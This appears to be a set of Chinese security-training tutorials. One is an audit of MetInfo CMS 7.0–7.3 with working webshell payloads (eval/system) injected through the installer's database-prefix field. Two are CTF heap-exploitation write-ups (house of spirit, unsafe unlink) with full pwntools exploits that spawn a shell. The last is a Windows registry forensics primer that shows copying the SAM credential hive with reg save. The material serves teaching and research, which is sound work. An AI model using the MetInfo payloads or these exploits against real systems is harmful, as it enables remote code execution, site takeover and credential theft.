米拓建站系统1day审计与利用
Metinfocms命令执行
前话:
米拓企业建站系统是一款由长沙信息科技有限公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID269f-6dc2-4412-bbad-a27109b207cf (通过该实验掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修复该漏洞。)
审计过程:
1. Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。
2. 关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这个
’PATH_CONFIG‘参数。
全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。
在这个文件的219行有个是接收db数据库参数的方法。
官方说明“$_M”数组:https://doc.metinfo.cn/dev/basics/basics75.html
这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。
往下发现是直接写入tableper然后赋值给config变量。
并在264行fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。
影响版本:7.3.0 - 7.0.0
一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php
二、选中传统安装继续下一步
三、数据库信息进行写shell
代码执行Payload:"*/@eval($_GET['1']);/*
命令执行Payload:"*/@system($_GET['1']);/*
代码执行:
点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。
成功写入
命令执行:
7.0.0版本:
7.1.0版本:
Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
7.2.0版本:
Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
GDB调试堆漏洞之house of spirit
何为house of spirit?
该技术出自于2005年的The Malloc Maleficarum这篇文章,是一种用于获得某块内存区域控制权的技术
例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。
第一,改区域的前后内存可控(通俗来讲就是堆溢出)
第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布,
伪造fake chunk让他进入到fastbins,下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出
,从而得到控制权。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde (在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。)
今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想
题目:[ZJCTF 2019]EasyHeap
题目可在BUU上搜索得到
checksec如下
q@ubuntu:~/Desktop$ checksec easyheap
[*] '/home/q/Desktop/easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
先看main函数里面一个点
v3==4869 然后magic>=0x1305就可以进入到后门
不过这个是假的后门远程没有这个路径
接着就是没用输出功能,可能会选择劫持stdout或者使用house of spirit
我们先继续分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
一个个函数看下去,发现漏洞点在edit那里
(create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦)
漏洞如下这小部分代码,堆的大小创建后不可更改,但是他可以更改输入内容的大小,意味着这里存在堆溢出
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
edit()
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
整合信息(前置知识fastbin attack+unsortedbin)
(简单的说就是如下这样)
其中①②③⑧⑨是fastbin attack需要做的,④⑤⑥⑦是unsortedbin attack需要做的:
①malloc fastchunk 0x70。
②free掉fastchunk。
③将fastchunk的fd变为target。
④malloc 0x100。
⑤free 0x100。
⑥change 0x100+0x8的位置改为target(就是bk的位置)。
⑦malloc 0x100,此时arena的地址被写入target中去了。
⑧malloc 0x70,将第一次malloc的堆块取出来,使fastbin中只有target。
⑨再次malloc 0x70 ==>就是取出target。
结论:
上面简单分析了下,我们有了堆溢出,有了system函数和free()函数,对于house of spirit 来说是完美条件
可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针,顺带写入/bin/sh
接下来利用house of spirit去更改free的got表指向system的plt,最后执行free就可以getshell
下面进行详细的分析
详细解答
那么我们可以从构造fake chunk控制堆的任意内容
(prev_size,fd,bk,堆的输入内容)
我们先来看下正常的chunk长什么样子
(部分脚本,脚本后面就是chunk)
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
gdb.attach(p)
chunk 我们先找到我们存放输入内容的地方,我们刚才创建的堆的大小都是0x70的
但是实际上我们没有那么多空间可以利用的,在0x2545070此处存放的是chunk的大小
下面的地方0x2545070 前面8个字节存放fd(前驱)指针,后面八个字节存放bk(后继)指针
(这里先说个思维,逆向思维!非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容,要是多来几项呢?
比如 一本书的ID 名字 内容等等,他在gdb调试后所呈现的具体存放位置关系是怎么样的呢,我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于
off by null的知识点的但是如果你成功的攻破后,逆向能力会有不小的提升
题目: asis2016_b00ks
pwndbg> search woaini
[heap] 0x2545010 0x696e69616f77 /* 'woaini' */
warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search.
pwndbg> x/32gx 0x2545010
0x2545010: 0x0000696e69616f77 0x0000000000000000
0x2545020: 0x0000000000000000 0x0000000000000000
0x2545030: 0x0000000000000000 0x0000000000000000
0x2545040: 0x0000000000000000 0x0000000000000000
0x2545050: 0x0000000000000000 0x0000000000000000
0x2545060: 0x0000000000000000 0x0000000000000000
0x2545070: 0x0000000000000000 0x0000000000000071
0x2545080: 0x0000000000000061 0x0000000000000000
上面我们讲了正常的堆块的模样,下面我们来对他进行修整,做成我们的fake chunk
为了让这个fake chunk被检测机制所认可,这里我们需要修改prev_size令他等于1
也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找
IDA的chunk开始的地方在该程序里面叫heaparray
我们向上寻找,从尾地址为A0的地方开始到B0夹杂着libc
我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开
最后发现在本程序中0x6020AD的内容就是0x7f
(输入命令x/32gx 0x6020AD)
.bss:00000000006020A0 ; ===========================================================================
.bss:00000000006020A0
.bss:00000000006020A0 ; Segment type: Uninitialized
.bss:00000000006020A0 ; Segment permissions: Read/Write
.bss:00000000006020A0 _bss segment align_32 public 'BSS' use64
.bss:00000000006020A0 assume cs:_bss
.bss:00000000006020A0 ;org 6020A0h
.bss:00000000006020A0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:00000000006020A0 public stdout@@GLIBC_2_2_5
.bss:00000000006020A0 ; FILE *stdout
.bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400410↑o
.bss:00000000006020A0 ; main+17↑r
.bss:00000000006020A0 ; Alternative name is 'stdout'
.bss:00000000006020A0 ; Copy of shared data
.bss:00000000006020A8 align 10h
.bss:00000000006020B0 public stdin@@GLIBC_2_2_5
.bss:00000000006020B0 ; FILE *stdin
.bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400428↑o
.bss:00000000006020B0 ; main+35↑r
.bss:00000000006020B0 ; Alternative name is 'stdin'
.bss:00000000006020B0 ; Copy of shared data
.bss:00000000006020B8 completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:00000000006020B8 ; __do_global_dtors_aux+13↑w
.bss:00000000006020B9 align 20h
.bss:00000000006020C0 public magic
.bss:00000000006020C0 magic dq ? ; DATA XREF: main:loc_400D05↑r
.bss:00000000006020C8 align 20h
.bss:00000000006020E0 public heaparray
.bss:00000000006020E0 ; void *heaparray
.bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r
.bss:00000000006020E0 ; create_heap+8C↑w ...
(包含0x7f结尾的)
pwndbg> x/32gx 0x6020AD
0x6020ad: 0x07fea398e0000000 0x000000000000007f
0x6020bd: 0x0000000000000000 0x0000000000000000
下面上构造fake chunk 的脚本
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1
接着利用如下语句,写入内容的大小改为0x78(实际上大小为0x70),然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71,接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
下面我们来看看修改好的QWQ
为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节(0x0068732f6e69622f),我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了
pwndbg> search /bin/sh
[heap] 0x1be8080 0x68732f6e69622f /* '/bin/sh' */
libc-2.23.so 0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */
warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search.
pwndbg> x/32gx 0x1be8080
0x1be8080: 0x0068732f6e69622f 0x0000000000000000
0x1be8090: 0x0000000000000000 0x0000000000000000
0x1be80a0: 0x0000000000000000 0x0000000000000000
0x1be80b0: 0x0000000000000000 0x0000000000000000
0x1be80c0: 0x0000000000000000 0x0000000000000000
0x1be80d0: 0x0000000000000000 0x0000000000000000
0x1be80e0: 0x0000000000000000 0x0000000000000071
0x1be80f0: 0x00000000006020ad 0x0000000000000000
fake chunk一号准备完成
下面我们改free的got表为system的plt表,(不理解什么是got和plt的可以去康康知乎上的文章,简单说就是plt寻址got,然后got寻址真正地址去执行函数,我们在这把free的got改成system的plt)之后咋们执行free操作就是相当于执行system操作了
为什么是0x23大小的junk数据传入?
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
这里可以用GDB调试来看下(做pwn题离不开GDB的调试必须要有耐心)
pwndbg> search ccccccccc
easyheap 0x6020bd 0x6363636363636363 ('cccccccc')
easyheap 0x6020c6 0x6363636363636363 ('cccccccc')
easyheap 0x6020cf 0x6363636363636363 ('cccccccc')
warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search.
pwndbg> x/32gx 0x6020bd
0x6020bd: 0x6363636363636363 0x6363636363636363
0x6020cd: 0x6363636363636363 0x6363636363636363
0x6020dd: 0x0000602018636363 0x0001dd8080000000
0x6020ed <heaparray+13>: 0x0001dd80f0000000 0x00006020bd000000
0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000
0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000
0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000
0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000
可以看见在0x6020dd上有我们传入的got表0x0000602018
我们再看看heaparray上的数据内容
pwndbg> x/32gx 0x6020ed-13
0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080
0x6020f0 <heaparray+16>: 0x0000000001dd80f0 0x00000000006020bd
0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000
0x00000000006020bd该地址指向我们的chunk3存放的内容
0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址
其真实起始点地址是0x1dd80e0 如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd8000
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x1dd8070
Size: 0x71
Allocated chunk | PREV_INUSE #chunk3
Addr: 0x1dd80e0
Size: 0x71
Top chunk | PREV_INUSE
Addr: 0x1dd8150
Size: 0x20eb1
而heaparray
0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080
指向我们的free()的got表
关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意,p64(elf.plt['system'])刚好八个字节
这里篇幅有限,若有兴趣可以寻找资料学习
EXP:
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
#gdb.attach(p)
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
#gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
心得简述:
做PWN题非常考验耐心与基础,IDA的逆向分析是最为主要的一步,一定要静下来看伪代码和汇编
有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害,但是没有牢固
的逆向基础和调试能力是走不远的。
堆利用之unsafe unlink
漏洞简介
glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。
本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDc271-da53-4bd3-9b61-d59c3b9d3407 (本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。)
程序checksec检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目源码分析
int main(){
int choice = 0; prepare();
while(1) {
choose_action(&choice);
switch (choice) {
case 1:
squeeze();
break;
case 2:
wash();
break;
case 3:
display();
break;
case 4:
mix();
break;
case 5:
insepct();
break;
default:
puts("Nah... You just cannot do this :( ");
exit(0); } } return 0;}
主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。
void squeeze(){ int i; struct palette* tmp; for(i = 0; i < COLOR_NUM; i++) { if (!your_palette[i]) { puts("Found some free space for you!"); break; } } if (i == COLOR_NUM) { puts("Your palette is full :("); exit(0); } tmp = mallo
squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下:
#define COLOR_NUM (4)#define COLOR_NAME (0x20)#define COLOR_COMPONENT (0x4d8) struct palette { char color[COLOR_NAME]; char ingredient[COLOR_COMPONENT];}*your_palette[COLOR_NUM]; long secret_button = 0;
make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。
void make_component(char* ptr, int len){ if (0 == len) { return; } char c; int i = 0; while ( i < len ) { read(0, &c, 1); if ( c == '\n' ) { ptr[i] = 0; return; } ptr[i++] = c; } ptr[i] = 0;}
乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。
void mix(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { struct palette* ddl_ptr = your_palette[index]; puts("Please name youe color:"); make_comp
mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。
void wash(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { free(your_palette[index]); your_palette[index] = NULL; puts("Finish!"); retur
wash函数free掉了一个已经申请过的chunk,这也是unsafe unlink漏洞利用之处。这里需要注意的一点是标红处对数组进行赋NULL,因此排除了uaf的情况。
void insepct(){ if (secret_button) { puts("You've successfully broken the palette >_< "); system("/bin/sh"); } else { puts("You can explore your palette futher more :) "); } exit(0);}
inspect函数用于shell获取。当检查到全局变量secret_button不为0后,将调用/bin/sh。那么本题的目标至此已经显而易见了:通过wash函数的free触发漏洞,并通过mix函数修改全局变量secret_button为非零值,然后执行inspect函数来getshell。
相关知识补充
unsafe unlink漏洞是指由于程序设计不当、用户恶意输入,堆管理器在释放块的时候将前一个正在使用的块也视为已经被释放的块,从而也将它纳入空闲块管理中。以64位系统中glibc-2.27为例,一个chunk块的结构如下:
A区域(8字节):mchunk_prev_sizeB区域(8字节):mchunk_sizeC区域(8字节):fdD区域(8字节):bkE区域(8字节):fd_nextsizeF区域(8字节):bk_nextsizel 其中B区域比较特殊。B区域用于表示该chunk的大小(单位为字节)。由于chunk必须16字节对齐,因此B区域的低3bits被设置为flag位,不影响chunk的大小。其中最低1bit为PREV_INUSE位,当设置为0时表示前一个chunk处于空闲状态。
l A区域用于表示前一个相邻的空闲chunk的大小。当PREV_INUSE置1时,这一区域被前一个chunk使用(称之为空间复用);当PREV_INUSE置0时,该区域才被这一个chunk使用,用于在free时获取前一个chunk的地址。
l B区域也是该chunk的元数据区域,从C区域开始为用户实际使用的数据区。当malloc获得块的时候,返回的指针就是指向C区域的。
l 而当该块处于空闲状态时,C、D区域用于构造空闲块的双向链表。C区域会被堆管理器自动设置为前向空闲块的地址,D区域被设置为后向空闲块的地址。对于large chunk而言,C、D区域用于指向大小相同的空闲块,E、F区域用于指向大小不同的空闲块。
glibc-2.27中对unlink的实现如下:
/* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \
unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。
l 标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。
l 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。
当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。
漏洞利用
利用思路大致如下:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
2、修改chunkA,在其中精巧地布置出一个chunkD。
3、释放chunkB,并让堆管理器unlink chunkD。
4、修改chunkA,写入任意地址。
5、修改chunkA,实现任意地址写。
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'def operate(op, arg1='A', arg2='A', arg3='A'): global io io.recvuntil('e:\n') io.sendline(op) if op == '1': # squeeze() io.recvuntil('color:\n') if len(arg1) < 32: io.sendline(arg1) else: io.se
首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
operate(ADD) #chunkAoperate(ADD) #chunkBoperate(ADD) #chunkC
使用gdb查看内存情况:
之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。
然后以chunkA为例,查看它的内容:
可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)
2、修改chunkA,在其中精巧地布置出一个chunkD。
chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢?
首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。
C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。
由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。
这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c
接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。
可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。
palette_addr = 0x6020c0secret_button_addr = 0x6020a0payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)payload2 = b'\x00' * 0x4d0 + p64(0x4f0)operate(SET, 1, payload1, payload2)
3、释放chunkB,并让堆管理器unlink chunkD。
释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。
operate(FREE,2)
4、修改chunkA,写入任意地址。
这里直接写入secret_button的地址,并调用mix函数。
payload = b'\x00' * 24 + p64(secret_button_addr)operate(SET, 1, payload)
5、修改chunkA,实现任意地址写。
secret_button只需非0即可,这里写入1。
operate(SET, 1, p64(1))
最后简单调用inspect即可getshell。
完整exp代码
from pwn import * binary_file = './a.out'io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})lib = ELF('./libc-2.27.so')proc = ELF(binary_file) palette_addr = 0x6020c0secret_button_addr = 0x6020a0button = 1ADD, FREE, SET, INSPECT = '1', '2', '4', '5' def operate(op, arg1='A', arg2='A', a
说明
编译源程序:gcc unsafe_unlink.c -no-pie
Windows 取证之注册表
一、概述
注册表(英语:Registry)是Microsoft Windows操作系统和其应用程序中的一个重要的层次型数据库,用于存储系统和应用程序的配置信息。
早在Windows 3.0推出OLE技术的时候,注册表就已经出现。但是,从Windows 95开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。(via 维基百科)
二、注册表的组成结构
注册表由键(key,或称“项”)、子键(subkey,子项)和值项(value)构成的hive文件组成,关于Windows注册表hive格式的详情说明可以参考这篇文章:https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
注册表的结构是一个树状结构,一个键(key,或称“项”)就是一个节点,子键(subkey)就是这个节点的子节点,子健也是键。键的一条属性被称为一个value(值项),value由名称、类型、数据类型和数据组成。一个键可以有多个值,每个值的名称不同,如果值名称是空,则该值为该键的默认值。
可以打开注册表编辑器查看其结构组成:
注册表的主键,也就是主分支有五个,分别是:
HKEY_CLASSES_ROOT:包含启动应用程序所需的全部信息,包括扩展名,应用程序与文档之间的关系,驱动程序名,DDE和OLE信息,类ID编号和应用程序与文档的图标等。
HKEY_CURRENT_USER:包含当前用户的配置信息,比如环境变量,桌面设置等
HKEY_LOCAL_MACHINE:包括安装在计算机上的硬件和软件的信息
HKEY_USERS:包含计算机的所有用户配置信息
HKEY_CURRENT_CONFIG:当前硬件的配置信息。
注册表数据类型主要有以下几种:
REG_SZ:字符串类型,文本字符串
REG_BINARY:二进制类型,不定长度的二进制值,以16进制形式显示
REG_DWORD:双字,32 位的二进制值,显示为 8 位的十六进制值
REG_MULTI_SZ:多字符串,有多个文本值的字符串,字符串间用 nul 分隔、结尾两个 nul
REG_EXPAND_SZ:可扩展字符串,包含环境变量的字符串
注册表中时间格式有以下几种:
FILETIME:64位值,代表间隔多少个单位为100纳秒的时间(从UTC1601年1月1日开始)
Unix Time:32位值,代表间隔多少秒(从UTC1970年1月1日开始)。
DOS Date/Time:两个16位值,详细记录了当地时间和年月日。
三、注册表的存储
注册表在Windows NT操作系统中被分为多个文件存储,这些文件被称为Registry Hives,每一个文件被称为一个配置单元。
主要配置单元有:
SYSTEM:对应的注册表分支为HKEY_LOCAL_MACHINE\SYSTEM,对应的存储文件是\Windows\System32\config\SYSTEM,其作用是存储计算机硬件和系统的信息。
NTUSER.DAT:对应的注册表分支是HKEY_CURRENT_USER,存储在用户目录下,与其他注册表文件是分开的,主要用于存储用户的配置信息。
SAM:分支是HKEY_LOCAL_MACHINE\SAM,存储在C:\Windows\System32\config\SAM文件中,保存了用户的密码信息。
SECURITY:对应的分支HKEY_LOCAL_MACHINE\SECURITY,存储在C:\Windows\System32\config\SECURITY文件中,保存了安全性设置信息。
SOFTWARE:分支是HKEY_LOCAL_MACHINE\SOFTWARE,文件存储在C:\Windows\System32\config\SOFTWARE中,保存安装软件的信息。
修改注册表的主要方式有:1、使用提供Windows提供的注册表编辑器:%systemroot%\regedit.exe;2、使用reg命令,可以对注册表进行增删改查、导入导出注册表文件(reg文件)、导入导出或加载配置单元(RegHive)等操作;3、使用reg文件,用户可以通过注册表编辑器导出注册表某些项为一个reg文件,反之可以导入一个reg文件将项目还原或者修改。
此外,为了防止注册表出错和损坏,Registry hives还包括注册的事务日志文件和注册表的备份文件。事务日志文件名与注册表文件一致,且在同一个路径中,只是后缀不同。事务日志文件以.LOG为后缀,多个日志后缀会显示LOG1、LOG2这样。(如果要查看这些日志文件,需要打开文件夹选项,取消勾选“隐藏受保护的操作系统文件”)
备份文件则在\Windows\System32\config\RegBack\路径中。
在发生修改将数据写入到主文件之前,Hive写入器会先将这些数据存储在事务日志文件中,如果写入事务日志时发生错误(比如系统崩溃),则主文件不会受影响。如果写入主文件时发生错误,可以通过事务日志包含的数据恢复主文件。
四、获取和分析Hive
要获取Hive,可以通过reg save命令创建Registry Hives的副本。(在管理员权限的命令提示符中执行)
C:\WINDOWS\system32>reg save hklm\sam c:\sam
操作成功完成。
C:\WINDOWS\system32>
分析Hive可以使用开源软件RegRipper,RegRipper是一个用perl编写的开源工具,可以从注册表中提取和解析各种信息(Key、value、data)以供取证人员进行分析。
RegRipper项目地址:https://github.com/keydet89/RegRipper3.0
打开RegRipper软件,选择Hive文件,设置好报告存储路径,选择好Profile,然后点Rip It
它会创建两个文件,一个是日志文件,一个是报告文件
